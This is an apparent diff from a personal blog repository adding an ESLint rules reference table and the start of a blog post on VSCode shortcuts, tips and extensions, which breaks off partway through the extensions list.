+|     | 🔧  |     | [one-var-declaration-per-line](https://eslint.org/docs/rules/one-var-declaration-per-line)     | require or disallow newlines around variable declarations                                                              |
+|     | 🔧  |     | [operator-assignment](https://eslint.org/docs/rules/operator-assignment)                       | require or disallow assignment operator shorthand where possible                                                       |
+|     | 🔧  |     | [prefer-arrow-callback](https://eslint.org/docs/rules/prefer-arrow-callback)                   | require using arrow functions for callbacks                                                                            |
+|     | 🔧  |     | [prefer-const](https://eslint.org/docs/rules/prefer-const)                                     | require \`const\` declarations for variables that are never reassigned after declared                                  |
+|     | 🔧  |     | [prefer-destructuring](https://eslint.org/docs/rules/prefer-destructuring)                     | require destructuring from arrays and/or objects                                                                       |
+|     | 🔧  |     | [prefer-exponentiation-operator](https://eslint.org/docs/rules/prefer-exponentiation-operator) | disallow the use of \`Math.pow\` in favor of the \`\*\*\` operator                                                     |
+|     |     |     | [prefer-named-capture-group](https://eslint.org/docs/rules/prefer-named-capture-group)         | enforce using named capture group in regular expression                                                                |
+|     | 🔧  |     | [prefer-numeric-literals](https://eslint.org/docs/rules/prefer-numeric-literals)               | disallow \`parseInt()\` and \`Number.parseInt()\` in favor of binary, octal, and hexadecimal literals                  |
+|     | 🔧  |     | [prefer-object-has-own](https://eslint.org/docs/rules/prefer-object-has-own)                   | disallow use of \`Object.prototype.hasOwnProperty.call()\` and prefer use of \`Object.hasOwn()\`                       |
+|     | 🔧  |     | [prefer-object-spread](https://eslint.org/docs/rules/prefer-object-spread)                     | disallow using Object.assign with an object literal as the first argument and prefer the use of object spread instead. |
+|     |     |     | [prefer-promise-reject-errors](https://eslint.org/docs/rules/prefer-promise-reject-errors)     | require using Error objects as Promise rejection reasons                                                               |
+|     |     | 💡  | [prefer-regex-literals](https://eslint.org/docs/rules/prefer-regex-literals)                   | disallow use of the \`RegExp\` constructor in favor of regular expression literals                                     |
+|     |     |     | [prefer-rest-params](https://eslint.org/docs/rules/prefer-rest-params)                         | require rest parameters instead of \`arguments\`                                                                       |
+|     |     |     | [prefer-spread](https://eslint.org/docs/rules/prefer-spread)                                   | require spread operators instead of \`.apply()\`                                                                       |
+|     | 🔧  |     | [prefer-template](https://eslint.org/docs/rules/prefer-template)                               | require template literals instead of string concatenation                                                              |
+|     | 🔧  |     | [quote-props](https://eslint.org/docs/rules/quote-props)                                       | require quotes around object literal property names                                                                    |
+|     |     | 💡  | [radix](https://eslint.org/docs/rules/radix)                                                   | enforce the consistent use of the radix argument when using \`parseInt()\`                                             |
+|     |     |     | [require-await](https://eslint.org/docs/rules/require-await)                                   | disallow async functions which have no \`await\` expression                                                            |
+|     |     |     | [require-unicode-regexp](https://eslint.org/docs/rules/require-unicode-regexp)                 | enforce the use of \`u\` flag on RegExp                                                                                |
+| ✓   |     |     | [require-yield](https://eslint.org/docs/rules/require-yield)                                   | require generator functions to contain \`yield\`                                                                       |
+|     | 🔧  |     | [sort-imports](https://eslint.org/docs/rules/sort-imports)                                     | enforce sorted import declarations within modules                                                                      |
+|     |     |     | [sort-keys](https://eslint.org/docs/rules/sort-keys)                                           | require object keys to be sorted                                                                                       |
+|     | 🔧  |     | [sort-vars](https://eslint.org/docs/rules/sort-vars)                                           | require variables within the same declaration block to be sorted                                                       |
+|     | 🔧  |     | [spaced-comment](https://eslint.org/docs/rules/spaced-comment)                                 | enforce consistent spacing after the \`//\` or \`/*\` in a comment                                                     |
+|     | 🔧  |     | [strict](https://eslint.org/docs/rules/strict)                                                 | require or disallow strict mode directives                                                                             |
+|     |     |     | [symbol-description](https://eslint.org/docs/rules/symbol-description)                         | require symbol descriptions                                                                                            |
+|     |     |     | [vars-on-top](https://eslint.org/docs/rules/vars-on-top)                                       | require \`var\` declarations be placed at the top of their containing scope                                            |
+|     | 🔧  |     | [yoda](https://eslint.org/docs/rules/yoda)                                                     | require or disallow "Yoda" conditions                                                                                  |
+
+## Layout & Formatting[](https://eslint.org/docs/rules/#layout-formatting)
+
+These rules care about how the code looks rather than how it executes:
+
+|     |     |     |                                                                                                    |                                                                                          |
+| --- | --- | --- | -------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------- |
+|     | 🔧  |     | [array-bracket-newline](https://eslint.org/docs/rules/array-bracket-newline)                       | enforce linebreaks after opening and before closing array brackets                       |
+|     | 🔧  |     | [array-bracket-spacing](https://eslint.org/docs/rules/array-bracket-spacing)                       | enforce consistent spacing inside array brackets                                         |
+|     | 🔧  |     | [array-element-newline](https://eslint.org/docs/rules/array-element-newline)                       | enforce line breaks after each array element                                             |
+|     | 🔧  |     | [arrow-parens](https://eslint.org/docs/rules/arrow-parens)                                         | require parentheses around arrow function arguments                                      |
+|     | 🔧  |     | [arrow-spacing](https://eslint.org/docs/rules/arrow-spacing)                                       | enforce consistent spacing before and after the arrow in arrow functions                 |
+|     | 🔧  |     | [block-spacing](https://eslint.org/docs/rules/block-spacing)                                       | disallow or enforce spaces inside of blocks after opening block and before closing block |
+|     | 🔧  |     | [brace-style](https://eslint.org/docs/rules/brace-style)                                           | enforce consistent brace style for blocks                                                |
+|     | 🔧  |     | [comma-dangle](https://eslint.org/docs/rules/comma-dangle)                                         | require or disallow trailing commas                                                      |
+|     | 🔧  |     | [comma-spacing](https://eslint.org/docs/rules/comma-spacing)                                       | enforce consistent spacing before and after commas                                       |
+|     | 🔧  |     | [comma-style](https://eslint.org/docs/rules/comma-style)                                           | enforce consistent comma style                                                           |
+|     | 🔧  |     | [computed-property-spacing](https://eslint.org/docs/rules/computed-property-spacing)               | enforce consistent spacing inside computed property brackets                             |
+|     | 🔧  |     | [dot-location](https://eslint.org/docs/rules/dot-location)                                         | enforce consistent newlines before and after dots                                        |
+|     | 🔧  |     | [eol-last](https://eslint.org/docs/rules/eol-last)                                                 | require or disallow newline at the end of files                                          |
+|     | 🔧  |     | [func-call-spacing](https://eslint.org/docs/rules/func-call-spacing)                               | require or disallow spacing between function identifiers and their invocations           |
+|     | 🔧  |     | [function-call-argument-newline](https://eslint.org/docs/rules/function-call-argument-newline)     | enforce line breaks between arguments of a function call                                 |
+|     | 🔧  |     | [function-paren-newline](https://eslint.org/docs/rules/function-paren-newline)                     | enforce consistent line breaks inside function parentheses                               |
+|     | 🔧  |     | [generator-star-spacing](https://eslint.org/docs/rules/generator-star-spacing)                     | enforce consistent spacing around \`*\` operators in generator functions                 |
+|     | 🔧  |     | [implicit-arrow-linebreak](https://eslint.org/docs/rules/implicit-arrow-linebreak)                 | enforce the location of arrow function bodies                                            |
+|     | 🔧  |     | [indent](https://eslint.org/docs/rules/indent)                                                     | enforce consistent indentation                                                           |
+|     | 🔧  |     | [jsx-quotes](https://eslint.org/docs/rules/jsx-quotes)                                             | enforce the consistent use of either double or single quotes in JSX attributes           |
+|     | 🔧  |     | [key-spacing](https://eslint.org/docs/rules/key-spacing)                                           | enforce consistent spacing between keys and values in object literal properties          |
+|     | 🔧  |     | [keyword-spacing](https://eslint.org/docs/rules/keyword-spacing)                                   | enforce consistent spacing before and after keywords                                     |
+|     |     |     | [line-comment-position](https://eslint.org/docs/rules/line-comment-position)                       | enforce position of line comments                                                        |
+|     | 🔧  |     | [linebreak-style](https://eslint.org/docs/rules/linebreak-style)                                   | enforce consistent linebreak style                                                       |
+|     | 🔧  |     | [lines-around-comment](https://eslint.org/docs/rules/lines-around-comment)                         | require empty lines around comments                                                      |
+|     | 🔧  |     | [lines-between-class-members](https://eslint.org/docs/rules/lines-between-class-members)           | require or disallow an empty line between class members                                  |
+|     |     |     | [max-len](https://eslint.org/docs/rules/max-len)                                                   | enforce a maximum line length                                                            |
+|     |     |     | [max-statements-per-line](https://eslint.org/docs/rules/max-statements-per-line)                   | enforce a maximum number of statements allowed per line                                  |
+|     | 🔧  |     | [multiline-ternary](https://eslint.org/docs/rules/multiline-ternary)                               | enforce newlines between operands of ternary expressions                                 |
+|     | 🔧  |     | [new-parens](https://eslint.org/docs/rules/new-parens)                                             | enforce or disallow parentheses when invoking a constructor with no arguments            |
+|     | 🔧  |     | [newline-per-chained-call](https://eslint.org/docs/rules/newline-per-chained-call)                 | require a newline after each call in a method chain                                      |
+|     | 🔧  |     | [no-extra-parens](https://eslint.org/docs/rules/no-extra-parens)                                   | disallow unnecessary parentheses                                                         |
+| ✓   |     |     | [no-mixed-spaces-and-tabs](https://eslint.org/docs/rules/no-mixed-spaces-and-tabs)                 | disallow mixed spaces and tabs for indentation                                           |
+|     | 🔧  |     | [no-multi-spaces](https://eslint.org/docs/rules/no-multi-spaces)                                   | disallow multiple spaces                                                                 |
+|     | 🔧  |     | [no-multiple-empty-lines](https://eslint.org/docs/rules/no-multiple-empty-lines)                   | disallow multiple empty lines                                                            |
+|     |     |     | [no-tabs](https://eslint.org/docs/rules/no-tabs)                                                   | disallow all tabs                                                                        |
+|     | 🔧  |     | [no-trailing-spaces](https://eslint.org/docs/rules/no-trailing-spaces)                             | disallow trailing whitespace at the end of lines                                         |
+|     | 🔧  |     | [no-whitespace-before-property](https://eslint.org/docs/rules/no-whitespace-before-property)       | disallow whitespace before properties                                                    |
+|     | 🔧  |     | [nonblock-statement-body-position](https://eslint.org/docs/rules/nonblock-statement-body-position) | enforce the location of single-line statements                                           |
+|     | 🔧  |     | [object-curly-newline](https://eslint.org/docs/rules/object-curly-newline)                         | enforce consistent line breaks after opening and before closing braces                   |
+|     | 🔧  |     | [object-curly-spacing](https://eslint.org/docs/rules/object-curly-spacing)                         | enforce consistent spacing inside braces                                                 |
+|     | 🔧  |     | [object-property-newline](https://eslint.org/docs/rules/object-property-newline)                   | enforce placing object properties on separate lines                                      |
+|     | 🔧  |     | [operator-linebreak](https://eslint.org/docs/rules/operator-linebreak)                             | enforce consistent linebreak style for operators                                         |
+|     | 🔧  |     | [padded-blocks](https://eslint.org/docs/rules/padded-blocks)                                       | require or disallow padding within blocks                                                |
+|     | 🔧  |     | [padding-line-between-statements](https://eslint.org/docs/rules/padding-line-between-statements)   | require or disallow padding lines between statements                                     |
+|     | 🔧  |     | [quotes](https://eslint.org/docs/rules/quotes)                                                     | enforce the consistent use of either backticks, double, or single quotes                 |
+|     | 🔧  |     | [rest-spread-spacing](https://eslint.org/docs/rules/rest-spread-spacing)                           | enforce spacing between rest and spread operators and their expressions                  |
+|     | 🔧  |     | [semi](https://eslint.org/docs/rules/semi)                                                         | require or disallow semicolons instead of ASI                                            |
+|     | 🔧  |     | [semi-spacing](https://eslint.org/docs/rules/semi-spacing)                                         | enforce consistent spacing before and after semicolons                                   |
+|     | 🔧  |     | [semi-style](https://eslint.org/docs/rules/semi-style)                                             | enforce location of semicolons                                                           |
+|     | 🔧  |     | [space-before-blocks](https://eslint.org/docs/rules/space-before-blocks)                           | enforce consistent spacing before blocks                                                 |
+|     | 🔧  |     | [space-before-function-paren](https://eslint.org/docs/rules/space-before-function-paren)           | enforce consistent spacing before \`function\` definition opening parenthesis            |
+|     | 🔧  |     | [space-in-parens](https://eslint.org/docs/rules/space-in-parens)                                   | enforce consistent spacing inside parentheses                                            |
+|     | 🔧  |     | [space-infix-ops](https://eslint.org/docs/rules/space-infix-ops)                                   | require spacing around infix operators                                                   |
+|     | 🔧  |     | [space-unary-ops](https://eslint.org/docs/rules/space-unary-ops)                                   | enforce consistent spacing before or after unary operators                               |
+|     | 🔧  |     | [switch-colon-spacing](https://eslint.org/docs/rules/switch-colon-spacing)                         | enforce spacing around colons of switch statements                                       |
+|     | 🔧  |     | [template-curly-spacing](https://eslint.org/docs/rules/template-curly-spacing)                     | require or disallow spacing around embedded expressions of template strings              |
+|     | 🔧  |     | [template-tag-spacing](https://eslint.org/docs/rules/template-tag-spacing)                         | require or disallow spacing between template tags and their literals                     |
+|     | 🔧  |     | [unicode-bom](https://eslint.org/docs/rules/unicode-bom)                                           | require or disallow Unicode byte order mark (BOM)                                        |
+|     | 🔧  |     | [wrap-iife](https://eslint.org/docs/rules/wrap-iife)                                               | require parentheses around immediate \`function\` invocations                            |
+|     | 🔧  |     | [wrap-regex](https://eslint.org/docs/rules/wrap-regex)                                             | require parenthesis around regex literals                                                |
+|     | 🔧  |     | [yield-star-spacing](https://eslint.org/docs/rules/yield-star-spacing)                             | require or disallow spacing around the \`\*\` in \`yield\*\` expressions                 |
+
+## Deprecated[](https://eslint.org/docs/rules/#deprecated)
+
+These rules have been deprecated in accordance with the [deprecation policy](https://eslint.org/docs/user-guide/rule-deprecation), and replaced by newer rules:
+
+| Deprecated rule                                                                | Replaced by                                                                                      |
+| ------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------ |
+| [callback-return](https://eslint.org/docs/rules/callback-return)               |                                                                                                  |
+| [global-require](https://eslint.org/docs/rules/global-require)                 |                                                                                                  |
+| [handle-callback-err](https://eslint.org/docs/rules/handle-callback-err)       |                                                                                                  |
+| [id-blacklist](https://eslint.org/docs/rules/id-blacklist)                     | [id-denylist](https://eslint.org/docs/rules/id-denylist)                                         |
+| [indent-legacy](https://eslint.org/docs/rules/indent-legacy)                   | [indent](https://eslint.org/docs/rules/indent)                                                   |
+| [lines-around-directive](https://eslint.org/docs/rules/lines-around-directive) | [padding-line-between-statements](https://eslint.org/docs/rules/padding-line-between-statements) |
+| [newline-after-var](https://eslint.org/docs/rules/newline-after-var)           | [padding-line-between-statements](https://eslint.org/docs/rules/padding-line-between-statements) |
+| [newline-before-return](https://eslint.org/docs/rules/newline-before-return)   | [padding-line-between-statements](https://eslint.org/docs/rules/padding-line-between-statements) |
+| [no-buffer-constructor](https://eslint.org/docs/rules/no-buffer-constructor)   |                                                                                                  |
+| [no-catch-shadow](https://eslint.org/docs/rules/no-catch-shadow)               | [no-shadow](https://eslint.org/docs/rules/no-shadow)                                             |
+| [no-mixed-requires](https://eslint.org/docs/rules/no-mixed-requires)           |                                                                                                  |
+| [no-native-reassign](https://eslint.org/docs/rules/no-native-reassign)         | [no-global-assign](https://eslint.org/docs/rules/no-global-assign)                               |
+| [no-negated-in-lhs](https://eslint.org/docs/rules/no-negated-in-lhs)           | [no-unsafe-negation](https://eslint.org/docs/rules/no-unsafe-negation)                           |
+| [no-new-require](https://eslint.org/docs/rules/no-new-require)                 |                                                                                                  |
+| [no-path-concat](https://eslint.org/docs/rules/no-path-concat)                 |                                                                                                  |
+| [no-process-env](https://eslint.org/docs/rules/no-process-env)                 |                                                                                                  |
+| [no-process-exit](https://eslint.org/docs/rules/no-process-exit)               |                                                                                                  |
+| [no-restricted-modules](https://eslint.org/docs/rules/no-restricted-modules)   |                                                                                                  |
+| [no-spaced-func](https://eslint.org/docs/rules/no-spaced-func)                 | [func-call-spacing](https://eslint.org/docs/rules/func-call-spacing)                             |
+| [no-sync](https://eslint.org/docs/rules/no-sync)                               |                                                                                                  |
+| [prefer-reflect](https://eslint.org/docs/rules/prefer-reflect)                 |                                                                                                  |
+| [require-jsdoc](https://eslint.org/docs/rules/require-jsdoc)                   |                                                                                                  |
+| [valid-jsdoc](https://eslint.org/docs/rules/valid-jsdoc)                       |                                                                                                  |
+
+## Removed[](https://eslint.org/docs/rules/#removed)
+
+These rules from older versions of ESLint (before the [deprecation policy](https://eslint.org/docs/user-guide/rule-deprecation) existed) have been replaced by newer rules:
+
+| Removed rule                                                                                         | Replaced by                                                                                                                                             |
+| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| [generator-star](https://eslint.org/docs/rules/generator-star)                                       | [generator-star-spacing](https://eslint.org/docs/rules/generator-star-spacing)                                                                          |
+| [global-strict](https://eslint.org/docs/rules/global-strict)                                         | [strict](https://eslint.org/docs/rules/strict)                                                                                                          |
+| [no-arrow-condition](https://eslint.org/docs/rules/no-arrow-condition)                               | [no-confusing-arrow](https://eslint.org/docs/rules/no-confusing-arrow) [no-constant-condition](https://eslint.org/docs/rules/no-constant-condition)     |
+| [no-comma-dangle](https://eslint.org/docs/rules/no-comma-dangle)                                     | [comma-dangle](https://eslint.org/docs/rules/comma-dangle)                                                                                              |
+| [no-empty-class](https://eslint.org/docs/rules/no-empty-class)                                       | [no-empty-character-class](https://eslint.org/docs/rules/no-empty-character-class)                                                                      |
+| [no-empty-label](https://eslint.org/docs/rules/no-empty-label)                                       | [no-labels](https://eslint.org/docs/rules/no-labels)                                                                                                    |
+| [no-extra-strict](https://eslint.org/docs/rules/no-extra-strict)                                     | [strict](https://eslint.org/docs/rules/strict)                                                                                                          |
+| [no-reserved-keys](https://eslint.org/docs/rules/no-reserved-keys)                                   | [quote-props](https://eslint.org/docs/rules/quote-props)                                                                                                |
+| [no-space-before-semi](https://eslint.org/docs/rules/no-space-before-semi)                           | [semi-spacing](https://eslint.org/docs/rules/semi-spacing)                                                                                              |
+| [no-wrap-func](https://eslint.org/docs/rules/no-wrap-func)                                           | [no-extra-parens](https://eslint.org/docs/rules/no-extra-parens)                                                                                        |
+| [space-after-function-name](https://eslint.org/docs/rules/space-after-function-name)                 | [space-before-function-paren](https://eslint.org/docs/rules/space-before-function-paren)                                                                |
+| [space-after-keywords](https://eslint.org/docs/rules/space-after-keywords)                           | [keyword-spacing](https://eslint.org/docs/rules/keyword-spacing)                                                                                        |
+| [space-before-function-parentheses](https://eslint.org/docs/rules/space-before-function-parentheses) | [space-before-function-paren](https://eslint.org/docs/rules/space-before-function-paren)                                                                |
+| [space-before-keywords](https://eslint.org/docs/rules/space-before-keywords)                         | [keyword-spacing](https://eslint.org/docs/rules/keyword-spacing)                                                                                        |
+| [space-in-brackets](https://eslint.org/docs/rules/space-in-brackets)                                 | [object-curly-spacing](https://eslint.org/docs/rules/object-curly-spacing) [array-bracket-spacing](https://eslint.org/docs/rules/array-bracket-spacing) |
+| [space-return-throw-case](https://eslint.org/docs/rules/space-return-throw-case)                     | [keyword-spacing](https://eslint.org/docs/rules/keyword-spacing)                                                                                        |
+| [space-unary-word-ops](https://eslint.org/docs/rules/space-unary-word-ops)                           | [space-unary-ops](https://eslint.org/docs/rules/space-unary-ops)                                                                                        |
+| [spaced-line-comment](https://eslint.org/docs/rules/spaced-line-comment)                             | [spaced-comment](https://eslint.org/docs/rules/spaced-comment)                                                                                          |
+
+<!--EndFragment-->
\ No newline at end of file
diff --git a/src/pages/blog/everything-you-need-to-get-started-with-vscode.md b/src/pages/blog/everything-you-need-to-get-started-with-vscode.md
new file mode 100644
index 0000000000..d38fd04095
--- /dev/null
+++ b/src/pages/blog/everything-you-need-to-get-started-with-vscode.md
@@ -0,0 +1,864 @@
+---
+title: Everything You Need to Get Started With VSCode
+template: post
+subtitle: Every extension or tool you could possibly need
+excerpt: Every extension or tool you could possibly need
+date: 2022-06-07T01:21:42.750Z
+image: https://cdn-images-1.medium.com/max/1200/1*gcp0kkiWQY6qd1Y4qEcqxw.png
+thumb_image: https://cdn-images-1.medium.com/max/1200/1*gcp0kkiWQY6qd1Y4qEcqxw.png
+image_position: right
+author: src/data/authors/bgoonz.yaml
+categories:
+    - src/data/categories/awesome-lists.yaml
+    - src/data/categories/google.yaml
+    - src/data/categories/git.yaml
+tags:
+    - src/data/tags/psql.yaml
+show_author_bio: true
+related_posts:
+    - src/pages/blog/awesome-resources.md
+cmseditable: true
+---
+
+<!--StartFragment-->
+
+# Everything You Need to Get Started With VSCode + Extensions & Resources
+
+Commands:
+
+---
+
+### Everything You Need to Get Started With VSCode + Extensions & Resources
+
+#### Every extension or tool you could possibly need
+
+![](https://cdn-images-1.medium.com/max/1200/1*gcp0kkiWQY6qd1Y4qEcqxw.png)
+
+### Here’s a rudimentary static site I made that goes into more detail on the extensions I use…
+
+[**VSCodeExtensions**\
+5fff5b9a2430bb564bfd451d–stoic-mccarthy-2c335f.netlify.app](https://5fff5b9a2430bb564bfd451d--stoic-mccarthy-2c335f.netlify.app/#h18 'https://5fff5b9a2430bb564bfd451d--stoic-mccarthy-2c335f.netlify.app/#h18')[](https://5fff5b9a2430bb564bfd451d--stoic-mccarthy-2c335f.netlify.app/#h18)
+
+### Here’s the repo it was deployed from:
+
+<https://github.com/bgoonz/vscode-Extension-readmes>
+
+---
+
+### Commands:
+
+> Command Palette
+>
+> Access all available commands based on your current context.
+>
+> Keyboard Shortcut: **Ctrl+Shift+P**
+
+![](https://cdn-images-1.medium.com/max/800/0*BByhnDoVQdRPdO4F.gif)
+
+### Command palette
+
+`⇧⌘P` Show all commands `⌘P` Show files
+
+### Sidebars
+
+`⌘B` Toggle sidebar `⇧⌘E` Explorer `⇧⌘F` Search `⇧⌘D` Debug `⇧⌘X` Extensions `⇧^G` Git (SCM)
+
+### Search
+
+`⌘F` Find `⌥⌘F` Replace `⇧⌘F` Find in files `⇧⌘H` Replace in files
+
+### Panel
+
+`⌘J` Toggle panel `⇧⌘M` Problems `⇧⌘U` Output `⇧⌘Y` Debug console ^\` \``Terminal
+
+### View
+
+`⌘k` `z` Zen mode `⌘k` `u` Close unmodified `⌘k` `w` Close all
+
+### Debug
+
+`F5` Start `⇧F5` Stop `⇧⌘F5` Restart `^F5` Start without debugging `F9` Toggle breakpoint `F10` Step over `F11` Step into `⇧F11` Step out `⇧⌘D` Debug sidebar `⇧⌘Y` Debug panel
+
+![](https://cdn-images-1.medium.com/max/1200/0*llpkl5jsIMhWMucR.png)
+
+---
+
+### Tips-N-Tricks:
+
+Here is a selection of common features for editing code. If the keyboard shortcuts aren’t comfortable for you, consider installing a [keymap extension](https://marketplace.visualstudio.com/search?target=VSCode&category=Keymaps&sortBy=Downloads) for your old editor.
+
+Tip: You can see recommended keymap extensions in the Extensions view with Ctrl+K Ctrl+M which filters the search to `@recommended:keymaps` .
+
+### Multi cursor selection
+
+To add cursors at arbitrary positions, select a position with your mouse and use Alt+Click (Option+click on macOS).
+
+To set cursors above or below the current position use:
+
+Keyboard Shortcut: Ctrl+Alt+Up or Ctrl+Alt+Down
+
+![](https://cdn-images-1.medium.com/max/800/0*Le_oEOiYnEBmFfig.gif)
+
+You can add additional cursors to all occurrences of the current selection with Ctrl+Shift+L.
+
+![](https://cdn-images-1.medium.com/max/800/0*WcrfwIln6NIG3zNW.gif)
+
+*Note: You can also change the modifier to Ctrl/Cmd for applying multiple cursors with the* `editor.multiCursorModifier` *[setting](https://code.visualstudio.com/docs/getstarted/settings) . See* *[Multi-cursor Modifier](https://code.visualstudio.com/docs/editor/codebasics#_multicursor-modifier)* *for details.*
+
+If you do not want to add all occurrences of the current selection, you can use Ctrl+D instead. This only selects the next occurrence after the one you selected so you can add selections one by one.
+
+![](https://cdn-images-1.medium.com/max/800/0*09EveaKtpZEKFEpO.gif)
+
+### Column (box) selection
+
+You can select blocks of text by holding Shift+Alt (Shift+Option on macOS) while you drag your mouse. A separate cursor will be added to the end of each selected line.
+
+![](https://cdn-images-1.medium.com/max/800/0*LrsOBXP4MVqr7aes.gif)
+
+You can also use [keyboard shortcuts](https://code.visualstudio.com/docs/editor/codebasics#_column-box-selection) to trigger column selection.
+
+---
+
+### Extensions:
+
+#### [AutoHotkey Plus](https://marketplace.visualstudio.com/items?itemName=cweijan.vscode-autohotkey-plus)
+
+> _Syntax Highlighting, Snippets, Go to Definition, Signature helper and Code formatter_
+
+### [Bash Debug](https://marketplace.visualstudio.com/items?itemName=rogalmic.bash-debug)
+
+> *A debugger extension for Bash scripts based on* `bashdb`
+
+![](https://cdn-images-1.medium.com/max/800/0*8j2gGGs0WHcuFIwY.gif)
+
+### [Shellman](https://marketplace.visualstudio.com/items?itemName=Remisa.shellman)
+
+> _Bash script snippets extension_
+
+![](https://cdn-images-1.medium.com/max/800/0*wyimtX27gWygAeOb.gif)
+
+### C++
+
+> [C/C++](https://marketplace.visualstudio.com/items?itemName=ms-vscode.cpptools) — Preview C/C++ extension by [Microsoft](https://www.microsoft.com/), read [official blog post](https://blogs.msdn.microsoft.com/vcblog/2016/03/31/cc-extension-for-visual-studio-code/) for the details
+>
+> [Clangd](https://marketplace.visualstudio.com/items?itemName=llvm-vs-code-extensions.vscode-clangd) — Provides C/C++ language IDE features for VS Code using clangd: code completion, compile errors and warnings, go-to-definition and cross references, include management, code formatting, simple refactorings.
+>
+> [gnu-global-tags](https://marketplace.visualstudio.com/items?itemName=austin.code-gnu-global) — Provide Intellisense for C/C++ with the help of the GNU Global tool.
+>
+> [YouCompleteMe](https://marketplace.visualstudio.com/items?itemName=RichardHe.you-complete-me) — Provides semantic completions for C/C++ (and TypeScript, JavaScript, Objective-C, Golang, Rust) using [YouCompleteMe](http://ycm-core.github.io/YouCompleteMe/).
+>
+> [C/C++ Clang Command Adapter](https://github.com/mitaki28/vscode-clang) — Completion and Diagnostic for C/C++/Objective-C using Clang command.
+>
+> [CQuery](https://github.com/cquery-project/vscode-cquery) — [C/C++ language server](https://github.com/jacobdufault/cquery) supporting multi-million line code base, powered by libclang. Cross references, completion, diagnostics, semantic highlighting and more.
+
+#### More
+
+-   [Microsoft’s tutorial on using VSCode for remote C/C++ development](https://devblogs.microsoft.com/cppblog/vscode-cpp-may-2019-update/)
+
+### C#, ASP . NET and . NET Core
+
+> [C#](https://marketplace.visualstudio.com/items?itemName=ms-dotnettools.csharp) — C# extension by [Microsoft](https://www.microsoft.com/), read [official documentation](https://code.visualstudio.com/docs/languages/csharp) for the details
+>
+> [C# FixFormat](https://marketplace.visualstudio.com/items?itemName=Leopotam.csharpfixformat) — Fix format of usings / indents / braces / empty lines
+>
+> [C# Extensions](https://marketplace.visualstudio.com/items?itemName=jchannon.csharpextensions) — Provides extensions to the IDE that will speed up your development workflow.
+>
+> [MSBuild Project Tools](https://marketplace.visualstudio.com/items?itemName=tintoy.msbuild-project-tools)
+>
+> [VSCode Solution Explorer](https://marketplace.visualstudio.com/items?itemName=fernandoescolar.vscode-solution-explorer)
+>
+> [. NET Core Test Explorer](https://marketplace.visualstudio.com/items?itemName=formulahendry.dotnet-test-explorer)
+
+![](https://cdn-images-1.medium.com/max/800/0*ZG5W4_VVBv89zO_g.gif)
+
+---
+
+### CSS
+
+### [CSS Peek](https://marketplace.visualstudio.com/items?itemName=pranaygp.vscode-css-peek)
+
+> _Peek or Jump to a CSS definition directly from HTML, just like in Brackets!_
+
+![](https://cdn-images-1.medium.com/max/800/0*MN4pNqxDw4FyRk8g.gif)
+
+-   [stylelint](https://marketplace.visualstudio.com/items?itemName=stylelint.vscode-stylelint) — Lint CSS/SCSS.
+-   [Autoprefixer](https://marketplace.visualstudio.com/items?itemName=mrmlnc.vscode-autoprefixer) Parse CSS, SCSS, LESS and add vendor prefixes automatically.
+
+![](https://cdn-images-1.medium.com/max/800/0*edXaUlo7z9TRDQnC.gif)
+
+-   [Intellisense for CSS class names](https://marketplace.visualstudio.com/items?itemName=Zignd.html-css-class-completion) — Provides CSS class name completion for the HTML class attribute based on the CSS files in your workspace. Also supports React’s className attribute.
+
+![](https://cdn-images-1.medium.com/max/800/0*AHJJrCMfkLWLHLH4.gif)
+
+### Groovy
+
+-   [VsCode Groovy Lint](https://marketplace.visualstudio.com/items?itemName=NicolasVuillamy.vscode-groovy-lint) — Groovy lint, format, prettify and auto-fix
+
+![](https://cdn-images-1.medium.com/max/800/0*jmi5_-erJj7WOMq7.gif)
+
+### Haskell
+
+-   [haskell-linter](https://marketplace.visualstudio.com/items?itemName=hoovercj.haskell-linter)
+-   [Haskell IDE engine](https://marketplace.visualstudio.com/items?itemName=alanz.vscode-hie-server) — provides [language server](https://github.com/haskell/haskell-ide-engine) for stack and cabal projects.
+-   [autocomplate-shell](https://marketplace.visualstudio.com/items?itemName=truman.autocomplate-shell)
+
+---
+
+### Java
+
+-   [Language Support for Java(TM) by Red Hat](https://marketplace.visualstudio.com/items?itemName=redhat.java)
+-   [Debugger for Java](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-java-debug)
+-   [Maven for Java](https://marketplace.visualstudio.com/items?itemName=vscjava.vscode-maven)
+-   [Lombok](https://marketplace.visualstudio.com/items?itemName=GabrielBB.vscode-lombok)
+
+---
+
+### JavaScript
+
+-   [Babel JavaScript](https://marketplace.visualstudio.com/items?itemName=mgmcdermott.vscode-language-babel)
+-   [Visual Studio IntelliCode](https://marketplace.visualstudio.com/items?itemName=VisualStudioExptTeam.vscodeintellicode) — This extension provides AI-assisted development features including autocomplete and other insights based on understanding your code context.
+
+![](https://cdn-images-1.medium.com/max/800/0*i7CZbSbHqsWqEM4w.gif)
+
+See the difference between these two [here](https://github.com/michaelgmcd/vscode-language-babel/issues/1)
+
+> [tslint](https://marketplace.visualstudio.com/items?itemName=ms-vscode.vscode-typescript-tslint-plugin) — TSLint for Visual Studio Code (with `"tslint.jsEnable": true` ).
+>
+> [eslint](https://marketplace.visualstudio.com/items?itemName=dbaeumer.vscode-eslint) — Linter for [eslint](https://eslint.org/).
+>
+> [XO](https://marketplace.visualstudio.com/items?itemName=samverschueren.linter-xo) — Linter for [XO](https://github.com/xojs/xo).
+>
+> [AVA](https://marketplace.visualstudio.com/items?itemName=samverschueren.ava) — Snippets for [AVA](https://github.com/avajs/ava).
+>
+> [Prettier](https://marketplace.visualstudio.com/items?itemName=esbenp.prettier-vscode) — Linter, Formatter and Pretty printer for [Prettier](https://github.com/prettier/prettier-vscode).
+>
+> [Schema.org Snippets](https://marketplace.visualstudio.com/items?itemName=austinleegordon.vscode-schema-dot-org) — Snippets for [Schema.org](https://schema.org/).
+>
+> [Code Spell Checker](https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker) — Spelling Checker for Visual Studio Code.
+
+Framework-specific:
+
+#### [Vetur](https://marketplace.visualstudio.com/items?itemName=octref.vetur) — Toolkit for Vue.js
+
+![](https://cdn-images-1.medium.com/max/800/0*F7J_vW0ISbVMTXIZ.png)
+
+---
+
+### [Debugger for Chrome](https://marketplace.visualstudio.com/items?itemName=msjsdiag.debugger-for-chrome)
+
